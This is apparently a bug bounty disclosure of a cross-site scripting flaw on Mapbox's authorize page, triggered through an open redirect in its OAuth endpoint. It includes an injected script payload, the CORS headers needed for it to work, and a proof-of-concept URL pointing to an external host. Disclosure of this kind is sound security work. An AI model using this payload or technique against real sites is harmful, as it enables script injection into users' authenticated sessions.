XSS on www.mapbox.com/authorize/ because of open redirect at /core/oauth/auth

How it was found

Description

When you load the endpoint https://www.mapbox.com/authorize/ a GET request is made to the endpoint https://www.mapbox.com/core/oauth/auth with the parameters passed in the request to https://www.mapbox.com/authorize/. If you only send the parameter redirect_uri in the request to https://www.mapbox.com/core/oauth/auth, the response from the server is a 302 redirect to the value passed in the parameter redirect_uri. If the response from the latest request (after the redirect) is valid like:

{
  "authorize_url": "/authrozie/...",
  "stage": "authorize",
  "user": {
    "name": "some-name",
    "extraTm2z": 1
  },
  "origin": ""
}

the content is used to render the template template-modal-oauth in https://www.mapbox.com/authorize/.

The problem is that the value of the property "authorize_url" is not escaped when passed to the template

<form id='oauth' method='post' action='<%=App.api + obj.authorize_url%>' class='col6 modal-body fill-white'>
...

which allows to break the <form> using '> and insert HTML and Javascript code.

Reproduction steps

1. Create a file with this content in a server that supports https://

   {
     "authorize_url": "'><script>alert(document.domain);</script>",
     "stage": "authorize",
     "user": {
       "name": "nombre",
       "extraTm2z": 1
    },
    "origin": ""
   }
   

2. Set these headers to be returned in the response when serving the file (I don't specify how because it varies from server to server and language)

   Access-Control-Allow-Origin: https://www.mapbox.com
   Access-Control-Allow-Credentials: true
   Access-Control-Allow-Headers: x-requested-with
   

3. Load the following URL on Chrome, Safari, Firefox, Internet Explorer 11, or Edge

   https://www.mapbox.com/authorize/?redirect_uri=[url_to_file_created_in_step_1]
   

4. alert(document.domain) is executed

Proof of concept

Load the following URL on Chrome, Safari, Firefox, Internet Explorer 11, or Edge

https://www.mapbox.com/authorize/?redirect_uri=https://u00f1.xyz/mapbox/oauth.json

I'm going to do a screen recording and upload it.